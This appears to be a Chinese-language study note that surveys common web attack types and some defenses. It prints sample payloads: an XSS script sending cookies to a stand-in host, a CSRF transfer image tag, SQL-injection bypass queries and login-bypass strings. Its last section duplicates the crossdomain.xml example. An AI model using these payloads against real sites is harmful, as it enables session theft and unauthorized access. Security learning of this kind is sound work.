文章目录
常见攻击方式
XSS
跨站脚本攻击,可以将代码注入到用户浏览的网页上,这种代码包括HTML
和JavaScript
- 攻击原理
例如有一个论坛网站,攻击者可以在上面发布以下内容
<script>localtion.href="//domain.com/?c="+document.cookie</script>
之后该内容可能会被渲染如下
<p><script>location.href="//domain.com/?c="+document.cookie</script></p>
另一个用户浏览了含有这个内容的页面将会跳转到domain.com并携带了当前作用域的Cookie。如果这个论坛网站通过了Cookie管理用户登陆状态,那么攻击者就可以通过这个Cookie登陆被攻击者的账号了。
-
防范手段
- 设置Cookie为HttpOnly
- 过滤特殊字符
CSRF
跨站请求伪造,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去执行
- 攻击原理
假如一家银行用以执行转账操作的URL的地址如下
http://www.examplebank.com/withdraw?account=AccountName&amount=10000&for=PayeeName
那么一个恶意攻击者可以在另一个网站上放置如下代码
<img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman"/>
- 防范手段
- 检查
Referer
首部字段 - 添加校验Token
- 输入验证码
- 检查
IDOR
IDOR找到突破口的方式,当API端口无法突破IDOR脆弱性测试,可以通过HTML或者JavaScript文件寻找其他用户的HASH唯一身份值
SSRF
这个漏洞造成的危害如下:
- 对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息
- 攻击运行在内网或本地的应用程序(比如溢出)
- 对内网Web应用进行指纹识别,通过访问默认文件实现
- 攻击内外网的Web应用,主要是使用GET请求参数就可以实现的攻击(比如Struts2漏洞利用,SQL注入等等)
- 利用File协议读取本地文件
绕过SSRF过滤的方法
-
更改IP地址写法
-
利用解析URL所出现的问题
-
利用DNS解析
-
通过各种非HTTP协议
-
DNS Rebinding
SQL Injection
- 绕过引号限制
select * from Users where username = 0x61646D696E
select * from Users where username = to_char(97,100,109,105,110)
- 绕过字符黑名单
select concat('a', 'd', 'm', 'i','n');
- 后台万能密码
- admin’ –
- admin’ #
- admin’ /*
- ’ or 1=1–
- ’ or 1=1#
- ’ or 1=1/*
- ') or ‘1’='1–
- ') or (‘1’='1–
命令执行
当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。
如PHP中的system
, exec
, shell_exec
等等,当用户可以控制命令执行函数中的参数时,将可以注入恶意系统命令到正常命令中,造成命令执行攻击。
文件包含
如果允许客户端用户输入控制动态包含在服务器端的文件,会导致恶意代码的执行及敏感信息泄露,主要包括本地文件包含和远程文件包含两种形式。
文件上传
在网站的运营过程中,不可避免地要对网站的某些页面或者内容进行更新,这时便需要使用到网站的文件上传的功能。
如果不对被上传的文件进行限制或者限制被绕过,该功能便有可能会被利用于上传可执行文件、脚本到服务器上,进而进一步导致服务器沦陷。
点击劫持
在Web端用iframe嵌套一个透明不可见的页面,让用户在不知情的情况下,点击攻击者想要欺骗用户点击的位置。
最常见的防止frame嵌套的例子
if (top.location !== location) {
top.location = self.location;
}
条件竞争
条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的。
因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生。
XXE
在XML 1.0标准里,XML文档结构里定义了实体这个概念,实体可以通过预定义在文档中调用,实体的标志符可访问本地或远程内容。
如果在这个过程中引入了污染源,在对XML文档处理后则可能导致信息泄露等安全问题。
XSCH
由于网站开发者在使用Flash、Sliverlight等进行开发的过程中的疏忽,没有对跨域策略文件(crossdomain.xml)
进行正确的配置导致文件产生。例如
<cross-domain-policy>
<allow-access-from domain="*"/>
</cross-domain-policy>
因为跨域策略文件配置为*,也就指任意域的Flash都可以与它交互,导致可以发起请求,获取数据。
敏感信息泄露
<cross-domain-policy>
<allow-access-from domain="*"/>
</cross-domain-policy>
因为跨域策略文件配置为*,也就指任意域的Flash都可以与它交互,导致可以发起请求,获取数据。